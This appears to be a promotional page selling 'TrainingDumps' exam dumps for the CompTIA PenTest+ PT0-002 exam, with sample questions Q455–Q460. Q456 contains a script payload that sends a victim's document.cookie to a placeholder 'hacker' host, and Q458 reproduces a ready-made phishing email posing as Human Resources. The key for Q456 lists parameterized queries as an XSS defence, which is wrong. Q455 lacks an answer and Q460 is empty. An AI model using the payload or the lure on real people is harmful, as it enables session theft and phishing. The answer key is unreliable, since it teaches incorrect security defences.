

Pass Guaranteed Quiz 2025 CompTIA PT0-002: Trustable CompTIA PenTest+ Certification Reliable Test Pattern

BTW, DOWNLOAD part of TrainingDumps PT0-002 dumps from Cloud Storage: https://drive.google.com/open?id=1ZQtz_-C5h5QkherUnOwRJopXpfYjioHF

There are three versions of our PT0-002 learning engine which can allow all kinds of our customers to use conveniently in different situations. They are the PDF, Software and APP online versions. I specially recomend the APP online version of our PT0-002 Exam Dumps. With the online app version of our PT0-002 actual exam, you can just feel free to practice the questions in our PT0-002 training materials on all kinds of electronic devices, such as IPAD, telephone, computer and so on!

The value of the CompTIA PenTest+ certification lies in its recognition as a vendor-neutral certification, meaning that the certification is not tied to a specific technology or vendor but rather a general cybersecurity knowledge base. Also, the certification proves that you can apply penetration testing methodologies ethically and responsibly, which enhances your credibility as a professional. Employers prefer candidates with certification as it assures them that the candidate has the necessary cybersecurity skills to protect the organization's network and data from cyber threats.

Obtaining certification in CompTIA PT0-002 is a significant professional milestone for any cybersecurity professional. It provides a way for a professional to demonstrate in real terms that they are experienced and knowledgeable in their field. PT0-002 exam gives a professional the ability to show that they have demonstrated the best practices in the industry, which is an asset in any work setting.

CompTIA PenTest+ Certification Sample Questions (Q455-Q460):

NEW QUESTION # 455

You are a penetration tester reviewing a client's website through a web browser.

INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present.

Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

NEW QUESTION # 456

Given the following code:

<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Input validation
- B. Web-application firewall
- C. Session tokens
- D. Parameterized queries
- E. Base64 encoding
- F. Output encoding

Answer: A,D

NEW QUESTION # 457

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

- A. Burp Suite
- B. Metasploit
- C. Ethercap
- D. Nessus

Answer: B

NEW QUESTION # 458

A penetration tester has prepared the following phishing email for an upcoming penetration test:
Coworkers,

A security incident recently occurred on company property.

All employees are required to abide by company policies at all times. To ensure maximum compliance, all employees are required to sign the Security Policy Acceptance form (on-line here) before the end of this month.

Please reach out if you have any questions or concerns.

Human Resources

Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?

- A. Social proof and greed
- B. Authority and urgency
- C. Familiarity and likeness
- D. Scarcity and fear

Answer: B

NEW QUESTION # 459

During a web application test, a penetration tester was able to navigate to https://company.com and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The scanner crashed the system.
- B. The web page was not found.

- C. The tester IP was blocked.
- D. The SSL certificates were invalid.

Answer: C

Explanation:

Explanation

The most likely explanation for what occurred is that the tester IP was blocked by the web server. The web server may have detected the web scanner as a malicious or suspicious activity and blocked the tester's IP address from accessing the web application. This could result in an unauthorized to view this page message in the browser.

NEW QUESTION # 460
